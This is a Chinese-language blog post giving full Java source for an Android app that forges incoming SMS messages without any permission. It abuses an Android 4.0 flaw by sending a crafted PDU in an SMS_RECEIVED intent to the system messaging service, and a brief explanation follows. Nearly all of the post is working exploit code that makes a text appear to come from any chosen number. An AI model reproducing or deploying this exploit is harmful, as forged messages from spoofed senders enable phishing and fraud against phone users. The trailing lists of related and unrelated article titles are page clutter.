android 无权限 伪造短信
代码实现
package com.smstrick;
import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Method;import java.util.Calendar;import java.util.GregorianCalendar;
import android.app.Activity;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.PhoneNumberUtils;import android.util.Log;import android.view.View;import android.view.View.OnClickListener;import android.widget.EditText;
public class SMSTrickActivity extends Activity implements OnClickListener{ /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main);
View continue_button = this.findViewById(R.id.button1);
continue_button.setOnClickListener((OnClickListener) this); } public void onClick(View v) { EditText eNum; EditText eMsg; String sNum; String sMsg;
eNum = (EditText)findViewById(R.id.editText1); eMsg = (EditText)findViewById(R.id.editText2);
sNum = eNum.getText().toString(); sMsg = eMsg.getText().toString();
//sNum cannot be blank if(sNum.equals("")) sNum = "123456";
createFakeSms(this.getApplicationContext(),sNum,sMsg);
}
private static void createFakeSms(Context context, String sender, String body) { //Source: http://stackoverflow.com/a/12338541 //Source: http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app byte[] pdu = null; byte[] scBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; byte[] dateBytes = new byte[7]; Calendar calendar = new GregorianCalendar(); dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH))); dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY))); dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE))); dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND))); dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15))); try { Log.d("ice", "test one"); ByteArrayOutputStream bo = new ByteArrayOutputStream(); bo.write(lsmcs); bo.write(scBytes); bo.write(0x04); bo.write((byte) sender.length()); bo.write(senderBytes); bo.write(0x00); bo.write(0x00); // encoding: 0 for default 7bit bo.write(dateBytes); try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet"; Class cReflectedNFCExtras = Class.forName(sReflectedClassName); Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod( "stringToGsm7BitPacked", new Class[] { String.class }); stringToGsm7BitPacked.setAccessible(true); byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body); bo.write(bodybytes); } catch (Exception e) { e.printStackTrace(); }
pdu = bo.toByteArray(); } catch (IOException e) { e.printStackTrace(); }
Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); //intent.putExtra("format", "3gpp"); context.startService(intent); }
private static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4); }}
实质分析 核心在于自定义了系统的
Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); //intent.putExtra("format", "3gpp"); context.startService(intent);
收到短信的intent,从而伪造了短信,而且不需要任何的权限。
android 无权限 伪造短信相关推荐
- android安全问题(八)伪造短信(利用原生android4.0漏洞)
导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...
- android安全漏洞(八)伪造短信(利用原生android4.0漏洞)
导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...
- android 拨打电话 发送短信 权限,Android开发实现拨打电话与发送信息的方法分析...
本文实例讲述了Android开发实现拨打电话与发送信息的方法.分享给大家供大家参考,具体如下: xml布局: android:layout_width="fill_parent" ...
- Android 伪造短信
//伪造短信到系统信箱private static void createFakeSms(Context context, String sender,String body) {byte[] pdu ...
- 安卓day25快速入门 目录结构 清单 DDMS adb 危险权限 发短信 点击事件 安卓版本...
一.排坑 AndroidStudio非法字符: '\ufeff' 将文件格式改为以UTF-8无BOM格式编码 Sublime Text 保存时 CodeFormatter file is scratc ...
- android 脚本发短信,Android使用SmsManager实现短信发送功能
安卓使用SmsManager实现发送短信,供大家参考,具体内容如下 关键代码实现 package com.example.sms; import java.util.ArrayList; import ...
- Android 接收和收发短信
收发短信应该是每个手机最基本的功能之一了,即使是许多年前的老手机也都会具备这项功能,而Android作为出色的智能手机操作系统,自然也少不了在这方面的支持.每个Android手机都会内置一个短信应用程 ...
- Android接收和发送短信
每一部手机都具有短信接收和发送功能,下面我们通过代码来实现接收和发送短信功能. 一.接收短信 1.创建内部广播接收器类,接收系统发出的短信广播 2.从获得的内容中解析出短信发送者和短信内容 3.在Ac ...
- Android实时监听短信并上传服务器
短信监听 Android监听手机短信的方法有两种,分别为: 1.接受系统的短信广播:当手机收到新消息时,会发送一条广播,通过该广播就可以获取短信内容: 2.监听短信数据库:利用观察者模式监听短信数据库 ...
最新文章
- 2020年史上最全PyTorch资源合集,Github 标星1w+
- AI:2020年6月23日北京智源大会演讲分享之智能信息检索与挖掘专题论坛——09:10-09:55裴健教授《智能搜索:从工具到思维方式和心智》
- 2.5亿被腰围改变的中国人,哪个省胖子最多?
- ActiveReports 报表控件V12新特性 -- 新增JSON和CSV导出
- python的read函数调用报错_从零开始学Python(七):文件存储I/O流和异常捕捉
- 厉害了!谷歌新发布的半监督学习算法降低4倍错误率
- RTT——IO设备管理篇·基本概念理解
- Spark核心类:SQLContext和DataFrame
- Objective-C中的单例模式
- Spring中的FactoryBean
- php 查看session 时间,php中session过期时间设置及session回收机制介绍
- 精心打造中国第一个商用3G网络
- 2018年前的面试题总结
- jquery入门介绍
- 用Docker和Kubernetes将MongoDB作为微服务来运行
- c语言中延时函数delay1,delay什么意思_delay.h这一段是什么意思
- 【CFD理论】对流项-04-TVD
- 打破传统电商格局,新型社交电商到底有什么优点?
- 启明云端基于乐鑫ESP32-S2的智能86盒新品发布--WT-86-32-3ZW1
- 杜比音频和Microsoft Edge体验
热门文章
- 离线翻译android开发,有道翻译官推出Android版 可离线翻译多国语言
- 贸然用string比较的后果
- cup过高是什么意思_CPU占用过高怎么办? 每日一答
- 【OpenCV 学习笔记】第二十章: 角点检测之:harris算法以及Shi-Tomasi算法
- 浙江理工大学英语平台Unipus自动答题
- 不要错过这款好用的照片高清修复软件
- 在KEIL中生成bin文件的方法
- Android根据byte数组,生成图片,图片名字以当前时间作为名字
- Atom编译器64位win版本下载汉化及前端必备插件
- 1044 mysql_MYSQL 有ERROR 1044